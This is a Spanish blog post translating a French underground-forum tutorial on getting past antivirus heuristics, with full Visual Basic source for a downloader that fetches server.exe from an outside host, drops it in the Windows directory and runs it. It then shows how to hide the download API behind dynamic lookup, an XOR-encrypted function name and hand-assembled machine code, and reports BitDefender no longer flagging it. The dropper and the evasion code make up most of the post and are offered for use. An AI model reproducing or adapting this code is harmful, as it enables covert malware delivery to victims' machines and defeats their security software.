He visto este post en un foro y me he animado a traducirlo ya que está en frances el original,lo he adaptado al español lo mejor que he podido,asi que si alguien sabe frances y cree que hay algo mal traducido por favor que lo corrija si es posible....!!
Bypasear las heuristicas (API crypt)
Introducion:
Bueno como sabeis, estamos en un momento en el que constatamos la explosión de las tecnologías heuristícas con el dominio de los programas antivirus.
Aqui vamos a ver, para empezar, el bypass de las llamadas a APIS sospechosas por el metodo llamado API crypt, aramado de un ejemplo concreto (todo codeado en vb): un simple webdownloader todo podrido PERO detectado por la heuristica de un antivirus: Bit Defender.
La deteccion
Aqui veis mi código de webdl,es muy simple,descargará server.exe:
Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Sub Main()
DownloadToFile "http://truffe.com/server.exe", WindowsDirectory & "\server.exe"
Shell WindowsDirectory & "\server.exe"
End Sub
Private Sub DownloadToFile(sSource As String, sTarget As String)
URLDownloadToFile 0, sSource, sTarget, 0, 0
End Sub
Private Function WindowsDirectory() As String
Dim sTemp As String
sTemp = String(145, Chr(0))
WindowsDirectory = Left(sTemp, GetWindowsDirectory(sTemp, Len(sTemp)))
End Function
Pues bien este código compilado y escaneado con Bit defender por ejemplo nos dará:
Resultado:
Está claro, aqui lo que es detectado por Bit defender es el uso de urldownloadTofile.Podeis salpicar todo el código,conservar unicamente la declaracion,la función y la llamada a esta función, si escaneáis esto será detectado (por bit defender).
La indetección
Es muy simple en realidad. Bit defender no es divino,no es medium ni mas, si escondeis el uso de esta función,como hará para detectarla ? la respuesta es clara:NO PODRÁ.
Como? Es también simple nosotros vamos a llamarla, pero via su dirección de memoria con la ayuda de dos APIS muy majas: LoadLibrary() et GetProcAddress() yo escribo el codigo en vb en vb pero es perfectamente portable,el objetivo es conservar el uso de la api en cuestión,aunque no figure en claro,ni en la o las declaraciones ni en su llamada a esta.
Modulo de llamada a la API de forma dinámica
' versión modificada de
' http://nienie.com/~masapico/doc_FuncPtr.html
Public Declare Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long
Public Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Function GetExitCodeThread Lib "kernel32" (ByVal hThread As Long, lpExitCode As Long) As Long
Private Declare Function CreateThread Lib "kernel32" (ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, ByVal lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadId As Long) As Long
Private Declare Function GlobalAlloc Lib "kernel32" (ByVal Flags As Long, ByVal Size As Long) As Long
Private Declare Function GlobalFree Lib "kernel32" (ByVal Mem As Long) As Long
Private Declare Function MoveMemory Lib "kernel32" Alias "RtlMoveMemory" (ByRef Dest As Any, ByRef Src As Any, ByVal Size As Long) As Long
Private Const GMEM_FIXED As Long = 0&
Public Hlib(1 To 2) As Long
Public Function CallFuncPtr(FuncPtr As Long, ParamArray Params() As Variant) As Variant
Const MAX_CODESIZE As Long = 65536
Dim I As Long
Dim pCodeData As Long
Dim pParamData() As Long
Dim PC As Long
Dim Operand As Long
Dim RetValue As Long
Dim StrValue As String
Dim LongValue As Long
Dim dwThreadID As Long
Dim hThread As Long
Dim dwExit As Long
ReDim pParamData(UBound(Params)) As Long
pCodeData = GlobalAlloc(GMEM_FIXED, MAX_CODESIZE)
PC = pCodeData
AddByte PC, &H55
For I = UBound(Params) To 0 Step -1
If VarType(Params(I)) = vbString Then
pParamData(I) = GlobalAlloc(GMEM_FIXED, LenB(Params(I)))
StrValue = Params(I)
MoveMemory ByVal pParamData(I), ByVal StrValue, LenB(StrValue)
Operand = pParamData(I)
Else
Operand = Params(I)
End If
AddByte PC, &H68
AddLong PC, Operand
Next
AddByte PC, &HB8
AddLong PC, FuncPtr
AddInt PC, &HD0FF
AddByte PC, &HBA
AddLong PC, VarPtr(RetValue)
AddInt PC, &H289
AddByte PC, &H5D
AddInt PC, &HC033
AddByte PC, &HC2
AddInt PC, &H8
' run the assembler code in a new thread
hThread = CreateThread(0, 0, pCodeData, 0, 0, dwThreadID)
Do
' if exit code is 256 the thread is
' still running
GetExitCodeThread hThread, dwExit
If dwExit <> 259 Then Exit Do
DoEvents
Loop
GlobalFree pCodeData
For I = 0 To UBound(Params)
If pParamData(I) <> 0 Then
GlobalFree pParamData(I)
End If
Next
CallFuncPtr = RetValue
End Function
Private Sub AddByte(ByRef PC As Long, ByVal ByteValue As Byte)
MoveMemory ByVal PC, ByteValue, 1
PC = PC + 1
End Sub
Private Sub AddInt(ByRef PC As Long, ByVal IntValue As Integer)
MoveMemory ByVal PC, IntValue, 2
PC = PC + 2
End Sub
Private Sub AddLong(ByRef PC As Long, ByVal LongValue As Long)
MoveMemory ByVal PC, LongValue, 4
PC = PC + 4
End Sub
Modulo del webdl
Private Sub Main()
DownloadToFile "http://truffe.com/server.exe", WindowsDirectory & "\server.exe"
Shell WindowsDirectory & "\server.exe"
End Sub
Private Sub DownloadToFile(sSource As String, sTarget As String)
Dim sResult As Long
Dim z As Long
z = GetProcAddress(LoadLibrary("urlmon"), CryptString("####;#:8;50;#=81#", "T"))
sResult = CallFuncPtr(z, 0, sSource, sTarget, 0, 0)
End Sub
Private Function WindowsDirectory() As String
Dim sTemp As String
sTemp = String(145, Chr(0))
WindowsDirectory = Left(sTemp, GetWindowsDirectory(sTemp, Len(sTemp)))
End Function
Public Function CryptString(sSource As String, sPass As String) As String 'XOR
Dim sDest As String
Dim z As Long
Dim y As Long
sDest = sSource
For z = 1 To Len(sSource)
y = y - 1
If y < 1 Then y = Len(sPass)
Mid$(sDest, z, 1) = Chr$(Asc(Mid(sSource, z, 1)) Xor Asc(Mid(sPass, y, 1)))
Next z
CryptString = sDest
End Function
Compilado y ....
Lo habreis entendido bien, aqui yo he conservado UrlDownloadToFile encriptando hasta su nombre("URLDownloadToFileA") en la llamada de GetProcAddress()
conclusion
Evidentemente en el ejemplo el unico antivirus en detectar el primer código es BitDefender,pero este método no funciona solamente con URLDownloadTofile, es cuestión de ver que APIS son detectadas (si las detectan)y de encriptar en consecuencia!
A divertirse.. :p
El texto original se encuentra en :
http://undergroundkonnekt.net/index.php?showtopic=9189
Escrito por Lord
[How to]Bypass Heuristic, API crypt
Hola...
Cita:
Saludos, he escrito un post donde describo una funcion en vb que permite llamar a las funciones en memoria directamente à partir de su dirección.
Código:
Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Cita:
Bit defender: Last update: 25/07/2006 - scan result: BehavesLike:Trojan.Downloader
Código:
Option Explicit
Código:
Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Cita:
Bit defender: Last update: 25/07/2006 - scan result: No virus found in specified file
Suscribirse a:
Enviar comentarios (Atom)
0 comentarios:
Publicar un comentario